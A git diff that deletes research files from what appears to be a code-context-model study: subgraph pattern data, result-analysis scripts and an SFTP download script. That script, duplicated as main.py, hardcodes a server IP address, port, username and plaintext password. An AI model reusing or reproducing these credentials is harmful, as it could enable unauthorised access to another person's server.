1 declares -# -t # 107 -v 0 ENTITY -v 1 COMMAND -e 0 1 declares -# -t # 108 -v 0 ENTITY -v 1 COMMAND -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 109 -v 0 ENTITY -v 1 INCIDENTAL -e 0 1 declares -# -t # 110 -v 0 OTHER -v 1 FIELD -e 0 1 declares -# -t # 111 -v 0 OTHER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 112 -v 0 ENTITY -v 1 SET -e 0 1 declares -# -t # 113 -v 0 COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 114 -v 0 ENTITY -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 115 -v 0 ENTITY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 116 -v 0 OTHER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 117 -v 0 COMMAND-COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 118 -v 0 COMMAND-COLLABORATOR -v 1 SET -e 0 1 calls -# -t # 119 -v 0 ENTITY -v 1 GET -e 0 1 declares -# -t # 120 -v 0 COMMANDER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 121 -v 0 BOUNDARY -v 1 SET -e 0 1 declares -# -t # 122 -v 0 OTHER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 123 -v 0 COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 124 -v 0 COMMAND-COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 125 -v 0 BOUNDARY-DATA_PROVIDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 126 -v 0 ENTITY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 127 -v 0 ENTITY -v 1 CONSTRUCTOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 128 -v 0 OTHER -v 1 SET -e 0 1 declares -# -t # 129 -v 0 OTHER -v 1 COMMAND -e 0 1 declares -# -t # 130 -v 0 BOUNDARY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 131 -v 0 FACTORY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 132 -v 0 BOUNDARY -v 1 PROPERTY-COLLABORATOR -e 0 1 declares -# -t # 133 -v 0 OTHER -v 1 INCIDENTAL -e 0 1 declares -# -t # 134 -v 0 DATA_PROVIDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 135 -v 0 BOUNDARY -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 136 -v 0 LAZY_CLASS -v 1 FIELD -e 0 1 declares -# -t # 137 -v 0 FACTORY-COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 138 -v 0 COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 139 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND -e 0 1 declares -# -t # 140 -v 0 COMMANDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 141 -v 0 COMMANDER -v 1 COMMAND -e 0 1 declares -# -t # 142 -v 0 COMMANDER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 143 -v 0 COLLABORATOR -v 1 GET -e 0 1 calls -# \ No newline at end of file diff --git a/rq1/baseline/origin_patterns/no-sup-0.02 b/rq1/baseline/origin_patterns/no-sup-0.02 deleted file mode 100644 index f858407..0000000 --- a/rq1/baseline/origin_patterns/no-sup-0.02 +++ /dev/null @@ -1,593 +0,0 @@ -t # 0 -v 0 ENTITY -v 1 FIELD -e 0 1 declares -# -t # 1 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 2 -v 0 OTHER -v 1 COLLABORATOR -e 0 1 declares -# -t # 3 -v 0 OTHER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 4 -v 0 OTHER -v 1 ABSTRACT -e 0 1 declares -# -t # 5 -v 0 INTERFACE -v 1 ABSTRACT -e 0 1 declares -# -t # 6 -v 0 BOUNDARY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 7 -v 0 BOUNDARY-COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 8 -v 0 OTHER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 9 -v 0 ENTITY -v 1 COLLABORATOR -e 0 1 declares -# -t # 10 -v 0 ENTITY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 11 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 12 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 13 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 14 -v 0 COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 15 -v 0 COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 16 -v 0 OTHER -v 1 GET -e 0 1 declares -# -t # 17 -v 0 BOUNDARY -v 1 FIELD -e 0 1 declares -# -t # 18 -v 0 BOUNDARY -v 1 COLLABORATOR -e 0 1 declares -# -t # 19 -v 0 BOUNDARY -v 1 INCIDENTAL -e 0 1 declares -# -t # 20 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 21 -v 0 SET-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 22 -v 0 OTHER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 23 -v 0 FACTORY-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 24 -v 0 COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 25 -v 0 OTHER -v 1 FACTORY -e 0 1 declares -# -t # 26 -v 0 INTERFACE -v 1 FIELD -e 0 1 declares -# -t # 27 -v 0 NON_VOID_COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 28 -v 0 COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 29 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 30 -v 0 BOUNDARY-COMMANDER -v 1 SET -e 0 1 declares -# -t # 31 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 32 -v 0 BOUNDARY-COMMANDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 33 -v 0 COMMAND-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 34 -v 0 BOUNDARY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 35 -v 0 COMMANDER -v 1 SET -e 0 1 declares -# -t # 36 -v 0 ENTITY -v 1 COMMAND -e 0 1 declares -# -t # 37 -v 0 OTHER -v 1 FIELD -e 0 1 declares -# -t # 38 -v 0 ENTITY -v 1 SET -e 0 1 declares -# -t # 39 -v 0 COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 40 -v 0 ENTITY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 41 -v 0 OTHER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 42 -v 0 COMMAND-COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 43 -v 0 ENTITY -v 1 GET -e 0 1 declares -# -t # 44 -v 0 BOUNDARY -v 1 SET -e 0 1 declares -# -t # 45 -v 0 OTHER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 46 -v 0 BOUNDARY-DATA_PROVIDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 47 -v 0 ENTITY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 48 -v 0 OTHER -v 1 SET -e 0 1 declares -# -t # 49 -v 0 BOUNDARY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 50 -v 0 FACTORY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 51 -v 0 OTHER -v 1 INCIDENTAL -e 0 1 declares -# -t # 52 -v 0 LAZY_CLASS -v 1 FIELD -e 0 1 declares -# -t # 53 -v 0 FACTORY-COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 54 -v 0 COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 55 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND -e 0 1 declares -# -t # 0 -v 0 ENTITY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 1 -v 0 ENTITY -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 2 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 3 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 4 -v 0 OTHER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 5 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 6 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 7 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 8 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 9 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 10 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 11 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 12 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 13 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 14 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 15 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 16 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 17 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 18 -v 0 OTHER -v 1 GET -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 19 -v 0 BOUNDARY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 20 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 21 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 22 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 23 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 24 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 25 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 26 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 27 -v 0 BOUNDARY-COMMANDER -v 1 SET -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 28 -v 0 OTHER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 0 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 1 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 2 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 3 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 4 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 5 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 6 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 7 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 8 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 9 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 10 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 0 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# \ No newline at end of file diff --git a/rq1/baseline/prepare_work/download_file.py b/rq1/baseline/prepare_work/download_file.py deleted file mode 100644 index b6200c7..0000000 --- a/rq1/baseline/prepare_work/download_file.py +++ /dev/null @@ -1,68 +0,0 @@ -from os.path import join - -import paramiko -import os -from stat import S_ISDIR as isdir - - -def down_from_remote(sftp_obj, remote_dir_name, local_dir_name): - """远程下载文件""" - remote_file = sftp_obj.stat(remote_dir_name) - if isdir(remote_file.st_mode): - # 文件夹,不能直接下载,需要继续循环 - check_local_dir(local_dir_name) - for remote_file_name in sftp.listdir(remote_dir_name): - sub_remote = os.path.join(remote_dir_name, remote_file_name) - sub_remote = sub_remote.replace('\\', '/') - sub_local = os.path.join(local_dir_name, remote_file_name) - sub_local = sub_local.replace('\\', '/') - down_from_remote(sftp_obj, sub_remote, sub_local) - else: - sftp.get(remote_dir_name, local_dir_name) - - -def check_local_dir(local_dir_name): - """本地文件夹是否存在,不存在则创建""" - if not os.path.exists(local_dir_name): - os.makedirs(local_dir_name) - - -if __name__ == "__main__": - """程序主入口""" - # 服务器连接信息 - host_name = '115.236.22.158' - user_name = 'shunliu' - password = '@@010311' - port = 9997 - # 远程文件路径(需要绝对路径) - remote_root = '/data0/shunliu/pythonfile/code_context_model_prediction/params_validation/git_repo_code/my_mylyn/repo_first_3/' - # 本地文件存放路径(绝对路径或者相对路径都可以) - local_root = 'D:/git_code/model_code/' - # 连接远程服务器 - t = paramiko.Transport((host_name, port)) - t.connect(username=user_name, password=password) - sftp = paramiko.SFTPClient.from_transport(t) - need_to_download = sftp.listdir(remote_root) - need_to_download.sort(key=lambda x: int(x)) - index = need_to_download.index('5368') - for need in need_to_download[index:]: - print('downloading ', need) - remote_down = remote_root + need - local_down = join(local_root, need) - # remote_down_dir = sftp.stat(remote_down) - for remote_dir in sftp.listdir(remote_down): - if 'doxygen' in remote_dir: - continue - remote_file = sftp.stat(remote_down + "/" + remote_dir) - if not isdir(remote_file.st_mode): - continue - repo_remote = join(remote_down, remote_dir) - repo_remote = repo_remote.replace('\\', '/') - repo_local = join(local_down, remote_dir) - check_local_dir(repo_local) - # 远程文件开始下载 - down_from_remote(sftp, repo_remote, repo_local) - # 关闭连接 - t.close() - - diff --git a/rq1/baseline/prepare_work/generate_project_file.py b/rq1/baseline/prepare_work/generate_project_file.py deleted file mode 100644 index 1e85b03..0000000 --- a/rq1/baseline/prepare_work/generate_project_file.py +++ /dev/null @@ -1,36 +0,0 @@ -import os -from os.path import join - -project_file_context = """ - - shunliu - - - - - - org.eclipse.jdt.core.javabuilder - - - - - - org.eclipse.jdt.core.javanature - - -""" - - -root_path = "D:/git_code/4000" - -models = os.listdir(root_path) -models.sort(key=lambda x: int(x)) - -for model in models: - print(model) - model_path = join(root_path, model) - repos = os.listdir(model_path) - for repo in repos: - project_path = join(model_path, repo, '.project') - with open(project_path, 'w') as f: - f.write(project_file_context.replace("shunliu", repo)) diff --git a/rq1/baseline/prepare_work/main.py b/rq1/baseline/prepare_work/main.py deleted file mode 100644 index b6200c7..0000000 --- a/rq1/baseline/prepare_work/main.py +++ /dev/null @@ -1,68 +0,0 @@ -from os.path import join - -import paramiko -import os -from stat import S_ISDIR as isdir - - -def down_from_remote(sftp_obj, remote_dir_name, local_dir_name): - """远程下载文件""" - remote_file = sftp_obj.stat(remote_dir_name) - if isdir(remote_file.st_mode): - # 文件夹,不能直接下载,需要继续循环 - check_local_dir(local_dir_name) - for remote_file_name in sftp.listdir(remote_dir_name): - sub_remote = os.path.join(remote_dir_name, remote_file_name) - sub_remote = sub_remote.replace('\\', '/') - sub_local = os.path.join(local_dir_name, remote_file_name) - sub_local = sub_local.replace('\\', '/') - down_from_remote(sftp_obj, sub_remote, sub_local) - else: - sftp.get(remote_dir_name, local_dir_name) - - -def check_local_dir(local_dir_name): - """本地文件夹是否存在,不存在则创建""" - if not os.path.exists(local_dir_name): - os.makedirs(local_dir_name) - - -if __name__ == "__main__": - """程序主入口""" - # 服务器连接信息 - host_name = '115.236.22.158' - user_name = 'shunliu' - password = '@@010311' - port = 9997 - # 远程文件路径(需要绝对路径) - remote_root = '/data0/shunliu/pythonfile/code_context_model_prediction/params_validation/git_repo_code/my_mylyn/repo_first_3/' - # 本地文件存放路径(绝对路径或者相对路径都可以) - local_root = 'D:/git_code/model_code/' - # 连接远程服务器 - t = paramiko.Transport((host_name, port)) - t.connect(username=user_name, password=password) - sftp = paramiko.SFTPClient.from_transport(t) - need_to_download = sftp.listdir(remote_root) - need_to_download.sort(key=lambda x: int(x)) - index = need_to_download.index('5368') - for need in need_to_download[index:]: - print('downloading ', need) - remote_down = remote_root + need - local_down = join(local_root, need) - # remote_down_dir = sftp.stat(remote_down) - for remote_dir in sftp.listdir(remote_down): - if 'doxygen' in remote_dir: - continue - remote_file = sftp.stat(remote_down + "/" + remote_dir) - if not isdir(remote_file.st_mode): - continue - repo_remote = join(remote_down, remote_dir) - repo_remote = repo_remote.replace('\\', '/') - repo_local = join(local_down, remote_dir) - check_local_dir(repo_local) - # 远程文件开始下载 - down_from_remote(sftp, repo_remote, repo_local) - # 关闭连接 - t.close() - - diff --git a/rq1/baseline/result_analyse.py b/rq1/baseline/result_analyse.py deleted file mode 100644 index 5ca008a..0000000 --- a/rq1/baseline/result_analyse.py +++ /dev/null @@ -1,260 +0,0 @@ -import numpy as np -from collections import Counter - - -def read_result(step: int, batch_index): - result = [] - count = 0 - # with open(f'./origin_result/no_new_match_result_{step}.txt', 'r') as f: - with open(f'./origin_result/no_new_match_result_{step}_new144.txt', 'r') as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('---') or line.startswith('node_id'): - count += 1 - continue - else: - result.append(line.split(' ')) - print('total: ', count - 1) - return result - - -def calculate_average_result(step): - analysis = [] - result = [] - curr = [] - with open(f'./origin_result/no_new_match_result_{step}_new144.txt', 'r') as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('---') or line.startswith('node_id'): - if len(curr) > 0: - curr_result = [] - # 计算当前的值 - for threshold in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]: - tp_count = len([item for item in curr if item[4] == "True" and float(item[2]) >= threshold]) - fp_count = len([item for item in curr if item[4] == "False" and float(item[2]) >= threshold]) - fn_count = len([item for item in curr if item[4] == "True" and float(item[2]) < threshold]) - p = tp_count / (tp_count + fp_count) if (tp_count + fp_count) > 0 else 0 - r = tp_count / (tp_count + fn_count) if (tp_count + fn_count) > 0 else 0 - f = (2 * p * r / (p + r)) if (p + r) > 0 else 0 - curr_result.append([p, r, f]) - ground_truth = tp_count + fn_count - # all_pos = len([item for item in curr if item[4] == "True"]) - # if all_pos == 2: - # result.append(curr_result) - g_p = len([item for item in curr if item[4] == "True" and float(item[2]) >= 0.1]) - analysis.append([curr_result[0][1], ground_truth, g_p]) - result.append(curr_result) - else: - continue - curr.clear() - else: - curr.append(line.split(' ')) - if len(curr) > 0: - curr_result = [] - # 计算当前的值 - for threshold in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]: - tp_count = len([item for item in curr if item[4] == "True" and float(item[2]) >= threshold]) - fp_count = len([item for item in curr if item[4] == "False" and float(item[2]) >= threshold]) - fn_count = len([item for item in curr if item[4] == "True" and float(item[2]) < threshold]) - p = tp_count / (tp_count + fp_count) if (tp_count + fp_count) > 0 else 0 - r = tp_count / (tp_count + fn_count) if (tp_count + fn_count) > 0 else 0 - f = (2 * p * r / (p + r)) if (p + r) > 0 else 0 - curr_result.append([p, r, f]) - ground_truth = tp_count + fn_count - # all_pos = len([item for item in curr if item[4] == "True"]) - # if all_pos == 2: - # result.append(curr_result) - result.append(curr_result) - g_p = len([item for item in curr if item[4] == "True" and float(item[2]) >= 0.1]) - analysis.append([curr_result[0][1], ground_truth, g_p]) - s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] - print('分开计算之后求平均值') - print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for minConf in s: - i = s.index(minConf) - p, r, f = 0.0, 0.0, 0.0 - nothing = 0 - for res in result: - if res[i][0] == 0: - nothing += 1 - continue - p += res[i][0] - r += res[i][1] - f += res[i][2] - p /= len(result) - r /= len(result) - print(f"{minConf:>10.1f} {p:>10.4f} {r:>10.4f} {2 * p * r / (p + r):>10.4f} {nothing}") - return analysis - - -def true_positive(data): - print('\n---------true positive----------\n') - filtered_data = [item for item in data if item[4] == "True" and item[5] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - # fourth_column = [item[3] for item in filtered_data if 0 <= float(item[2]) <= 0.01] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0.0, 1.01, 0.01) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.2f}-{bin_edges[i + 1]:.2f} {hist[i]} {proportions[i]:.2%}") - - print("\nstereotype数据的统计:") - sorted_labels = sorted(fourth_column_counts.items(), key=lambda item: item[1], reverse=True) - for key, count in sorted_labels: - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def false_positive(data): - print('\n---------false positive----------\n') - filtered_data = [item for item in data if item[4] == "False" and item[5] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0.0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f} {hist[i]} {proportions[i]:.2%}") - - print("\nstereotype数据的统计:") - sorted_labels = sorted(fourth_column_counts.items(), key=lambda item: item[1], reverse=True) - for key, count in sorted_labels: - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def false_negative(data): - print('\n---------false negative----------\n') - # 筛选第五列等于 "True" 且第六列等于 "False" 的数据 - filtered_data = [item for item in data if item[4] == "True" and item[5] == "False"] - print(len(filtered_data)) - - # 提取stereotype - fourth_column = [item[3] for item in filtered_data] - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - print("\nstereotype数据的统计:") - sorted_labels = sorted(fourth_column_counts.items(), key=lambda item: item[1], reverse=True) - for key, count in sorted_labels: - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return len(filtered_data) - - -def calculate_result(FPs, TPs, FN): - # 阈值范围 - thresholds = np.arange(0.1, 1.1, 0.1) - # 存储结果 - results = [] - for threshold in thresholds: - tp_count = sum(1 for x in TPs if x >= threshold) - fp_count = sum(1 for x in FPs if x >= threshold) - fn_count = FN + len(TPs) - tp_count # FN remains constant as it's the count of false negatives not the value - - # Avoid division by zero - precision = tp_count / (tp_count + fp_count) if (tp_count + fp_count) > 0 else 0 - recall = tp_count / (tp_count + fn_count) if (tp_count + fn_count) > 0 else 0 - f1_score = (2 * precision * recall / (precision + recall)) if (precision + recall) > 0 else 0 - - results.append((threshold, tp_count, fp_count, fn_count, precision, recall, f1_score)) - - # 打印结果 - print('\n汇总之后计算') - print(f"{'Threshold':>10} {'TP':>5} {'FP':>5} {'FN':>5} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for threshold, tp_count, fp_count, fn_count, precision, recall, f1_score in results: - print( - f"{threshold:>10.1f} {tp_count:>5} {fp_count:>5} {fn_count:>5} {precision:>10.4f} {recall:>10.4f} {f1_score:>10.4f}") - - -if __name__ == '__main__': - step = 3 - result = read_result(step, 0) - # result = [] - # for i in range(27): - # result += read_result(step, i) - print(len(result)) - FPs = false_positive(result) - TPs = true_positive(result) - FN = false_negative(result) - calculate_result(FPs, TPs, FN) - analysis = calculate_average_result(step) - # print(analysis) - # bins = np.arange(0.0, 1.1, 0.1) - # hist, bin_edges = np.histogram(analysis, bins=bins) - # print("\nrecall 数据的分段统计 (0 到 1 间隔 0.1):") - # for i in range(len(hist)): - # print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f} {hist[i]}") - # zero_list = [] - # for index, item in enumerate(analysis): - # if item[0] == 0.5 and item[1] == 2: - # zero_list.append((index, item)) - # print(zero_list) - # print(len(zero_list)) - # print('-----') - # for i in zero_list: - # print(i[1][1]) - # print('--------') - # for i in zero_list: - # print(i[1][2]) diff --git a/rq1/baseline/test.py b/rq1/baseline/test.py deleted file mode 100644 index dc43561..0000000 --- a/rq1/baseline/test.py +++ /dev/null @@ -1,370 +0,0 @@ -import copy -import itertools -import os -import sys -import time -from decimal import Decimal -from os.path import join -import math -import networkx as nx -import xml.etree.ElementTree as ET -import numpy as np -import pandas as pd -from networkx import DiGraph -from networkx.algorithms import isomorphism -from gspan_mining.config import parser -from gspan_mining.main import main - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return 